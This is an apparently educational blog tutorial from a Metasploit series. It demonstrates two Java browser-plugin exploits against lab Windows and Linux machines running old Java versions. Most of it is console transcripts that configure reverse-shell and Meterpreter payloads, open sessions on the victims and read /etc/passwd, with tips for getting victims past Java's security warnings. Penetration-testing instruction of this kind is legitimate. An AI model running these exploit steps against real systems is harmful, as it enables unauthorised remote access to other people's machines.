06- Metasploit Basics- Attacking Java

In 03- Metasploit Basics- Attacking the Browser, we saw how to attack perform attacks against both the Internet Explorer and the Firefox browser, both in Windows and Linux operating systems. Attacks against users using these browsers does not have to be limited to just attacking the browser itself, and we later expanded our knowledge to attacks on Adobe Flash in 05- Metasploit Basics- Attacking Flash.

Another common attack target in browsers has been the Java plugins. Indeed, during a stretch of 2012 and 2013 it seemed that a new Java attack was released almost every month. In fact, that stretch only saw nine public attacks. OK fine, ten is a lot in such a short period of time. By late 2013 though, Oracle seems to have gotten the problems under control, and we have not seen a new Metasploit module for Java since late summer 2013. Mind you, that can change quickly….

Let’s take a look at these various attacks, from the oldest to the newest.

Demonstrations

Let’s demonstrate a few of these modules against a few different targets.

To set up the targets, we are going to need to get old versions of Java. You can get them directly from Oracle. I have had good luck though, getting them from other sites, including Oldapps.com and Oldversion.com. One advantage of these sites is they ability to do a bit of one-stop shopping, as they have older versions of a wide array of software. The downside is the fact that they seem to try to get you to click on one or more of their ads, typically by making them look the download button. Try it and see- you may never have seen the word "Download" in so many boxes in one place!

As you install (and uninstall) various versions of Java for testing, you may want to be sure that your browser is running the version of Java that you wish. You can do that manually; for example in Firefox from the address bar navigate to about:plugins
FirefoxJava
The problem with this approach is that you need to check each different browser somewhat differently. Instead, you can head over to Oracle’s Java verification page and see what Java thinks you have. One warning though- because of all of the vulnerabilities in Java, they have become quite aggressive in their attempts to convince you to upgrade to the latest version of Java. Since we actually are interested in testing the older stuff, just be careful that you don’t inadvertently update Java.

As our first example, let’s try the latest exploit against Java 7 Update 21 (32 bit) installed on Windows 7 (64 bit); we’ll use our Firefox browser. The exploit set-up is similar to what we have seen in other browser exploits. The big difference now is that instead of using a Windows or Linux payload, we’ll use a Java (meterpreter) payload.

msf > use exploit/multi/browser/java_storeimagearray 
msf exploit(java_storeimagearray) > show options

Module options (exploit/multi/browser/java_storeimagearray):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on. This 
must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming 
connections
   SSLCert                      no        Path to a custom SSL certificate 
(default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that 
should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit 
(default is random)


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)


msf exploit(java_storeimagearray) > set uripath bob
uripath => bob
msf exploit(java_storeimagearray) > show payloads

Compatible Payloads
===================

   Name                            Disclosure Date  Rank    Description
   ----                            ---------------  ----    -----------
   generic/custom                                   normal  Custom Payload
   generic/shell_bind_tcp                           normal  Generic Command 
Shell, Bind TCP Inline
   generic/shell_reverse_tcp                        normal  Generic Command 
Shell, Reverse TCP Inline
   java/meterpreter/bind_tcp                        normal  Java Meterpreter, 
Java Bind TCP Stager
   java/meterpreter/reverse_http                    normal  Java Meterpreter, 
Java Reverse HTTP Stager
   java/meterpreter/reverse_https                   normal  Java Meterpreter, 
Java Reverse HTTPS Stager
   java/meterpreter/reverse_tcp                     normal  Java Meterpreter, 
Java Reverse TCP Stager
   java/shell/bind_tcp                              normal  Command Shell, 
Java Bind TCP Stager
   java/shell/reverse_tcp                           normal  Command Shell, 
Java Reverse TCP Stager
   java/shell_reverse_tcp                           normal  Java Command Shell, 
Reverse TCP Inline

msf exploit(java_storeimagearray) > set payload java/meterpreter/reverse_https 
payload => java/meterpreter/reverse_https
msf exploit(java_storeimagearray) > set lhost 10.0.1.27
lhost => 10.0.1.27
msf exploit(java_storeimagearray) > show options

Module options (exploit/multi/browser/java_storeimagearray):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on. This 
must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming 
connections
   SSLCert                      no        Path to a custom SSL certificate 
(default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that 
should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     bob              no        The URI to use for this exploit 
(default is random)


Payload options (java/meterpreter/reverse_https):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.1.27        yes       The local listener hostname
   LPORT  8443             yes       The local listener port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)


msf exploit(java_storeimagearray) > exploit -j
[*] Exploit running as background job.
msf exploit(java_storeimagearray) > 
[*] Started HTTPS reverse handler on https://0.0.0.0:8443/
[*] Using URL: http://0.0.0.0:8080/bob
[*]  Local IP: http://10.0.1.27:8080/bob
[*] Server started.

The first thing you will notice with the exploit is that after visiting the hostile web site, you are unable to even launch Java from the browser. This is a new security feature in Java that prevents unsigned applets from running on less than the latest version of Java. Let’s disable this feature. From the Control Panel in Windows, select Java. From the Security tab, slide the slider from the default level (High) to Medium. Be sure that Java content is enabled in the browser.
Java Security Settings

With the settings changed, visiting the web site will first result in a warning that your version of Java is out of date. Clicking to activate the plugin, will then present you with another box stating that your version of Java is out of date and should be updated. Let’s ignore this warning as well.
Java Warning #2

Continuing, you get yet a third warning; this one asks you if you want to run the application. It forces you to manually check a box saying that you accept the risk. You know, I thought the idea was that Java was, you know, sandboxed. Now I feel like I am passing through an airport checkpoint.
Java Warning #3

Still, if we can get the user to jump through all of these hoops, then the shell is ours…

msf exploit(java_storeimagearray) >
[!] 10.0.2.2         java_storeimagearray - Requesting: /bob/
[*] 10.0.2.2         java_storeimagearray - Sending HTML...
[!] 10.0.2.2         java_storeimagearray - Requesting: /bob/tSJZlKi.jar
[*] 10.0.2.2         java_storeimagearray - Sending .jar file...
[!] 10.0.2.2         java_storeimagearray - Requesting: /bob/tSJZlKi.jar
[*] 10.0.2.2         java_storeimagearray - Sending .jar file...
[*] 10.0.2.2:50423 Request received for /INITJM...
[*] Meterpreter session 1 opened (10.0.1.27:8443 -> 10.0.2.2:50423) at 
2014-06-08 19:42:21 -0400

Now the Java Meterpreter is similar to the traditional Meterpreter. You can spawn a shell, take screenshots, even run programs remotely. There are some noticeable differences though. Java Meterpreter does not migrate between processes, and it does notallow some commands (like getsystem).

Although this example used a Java meterpreter for the payload, this is not a requirement. If you change the target from the default to a Windows target, you are able to use a Windows Meterpreter payload. Similarly, if you use a Linux target, you can set up a Linux payload.

For example, suppose we have Linux Mint 13 system running Java 6 Update 30. Let’s try the Applet Field Bytecode Verifier exploit, and target it specifically at our Linux system. Rather than use a Meterpreter payload, let’s instead use a Linux shell.

msf > use exploit/multi/browser/java_verifier_field_access 
msf exploit(java_verifier_field_access) > show options

Module options (exploit/multi/browser/java_verifier_field_access):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on. This 
   must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming 
connections
   SSLCert                      no        Path to a custom SSL certificate 
(default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that 
should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit 
(default is random)


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)


msf exploit(java_verifier_field_access) > set uripath bob
uripath => bob
msf exploit(java_verifier_field_access) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Generic (Java Payload)
   1   Windows x86 (Native Payload)
   2   Mac OS X PPC (Native Payload)
   3   Mac OS X x86 (Native Payload)
   4   Linux x86 (Native Payload)


msf exploit(java_verifier_field_access) > set target 4
target => 4
msf exploit(java_verifier_field_access) > set payload 
linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf exploit(java_verifier_field_access) > show options

Module options (exploit/multi/browser/java_verifier_field_access):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on. This 
must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming 
connections
   SSLCert                      no        Path to a custom SSL certificate 
(default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that 
should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     bob              no        The URI to use for this exploit 
(default is random)


Payload options (linux/x86/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   4   Linux x86 (Native Payload)


msf exploit(java_verifier_field_access) > set lhost 10.0.1.27
lhost => 10.0.1.27
msf exploit(java_verifier_field_access) > exploit -j
[*] Exploit running as background job.
msf exploit(java_verifier_field_access) > 
[*] Started reverse handler on 10.0.1.27:4444 
[*] Using URL: http://0.0.0.0:8080/bob
[*]  Local IP: http://10.0.1.27:8080/bob
[*] Server started.

msf exploit(java_verifier_field_access) > 
[*] 10.0.2.5         java_verifier_field_access - Sending Java Applet Field 
Bytecode Verifier Cache Remote Code Execution
[*] 10.0.2.5         java_verifier_field_access - Generated executable to 
drop (179 bytes).
[*] 10.0.2.5         java_verifier_field_access - Sending jar
[*] 10.0.2.5         java_verifier_field_access - Sending jar
[*] Command shell session 1 opened (10.0.1.27:4444 -> 10.0.2.5:42843) at 
2014-06-08 20:48:45 -0400

msf exploit(java_verifier_field_access) > sessions -l

Active sessions
===============

  Id  Type         Information  Connection
  --  ----         -----------  ----------
  1   shell linux               10.0.1.27:4444 -> 10.0.2.5:42843 (10.0.2.5)

msf exploit(java_verifier_field_access) > sessions -i 1
[*] Starting interaction with 1...

whoami
zathras
^Z
Background session 1? [y/N]  y
msf exploit(java_verifier_field_access) > 

Other than lacking a bash prompt, our shell is quite effective.

msf exploit(java_verifier_field_access) > sessions -i 1
[*] Starting interaction with 1...
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
colord:x:103:108:colord colour management daemon,,,:/var/lib/colord:/bin/false
usbmux:x:104:46:usbmux daemon,,,:/home/usbmux:/bin/false
avahi-autoipd:x:105:115:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:
   /bin/false
avahi:x:106:116:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
kernoops:x:107:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:108:117:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:109:119:RealtimeKit,,,:/proc:/bin/false
hplip:x:110:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kdm:x:111:65534::/home/kdm:/bin/false
saned:x:112:120::/home/saned:/bin/false
speech-dispatcher:x:113:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:
   /bin/sh
sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin
davfs2:x:115:123::/var/cache/davfs2:/bin/false
zathras:x:1000:1000:zathras,,,:/home/zathras:/bin/bash
  1. Joseph Whitehead
    September 4, 2015 at 2:26 am

    Aww, no mention of the oldest 65534-byte ‘bytecode verify’ bug?

  1. No trackbacks yet.

Leave a comment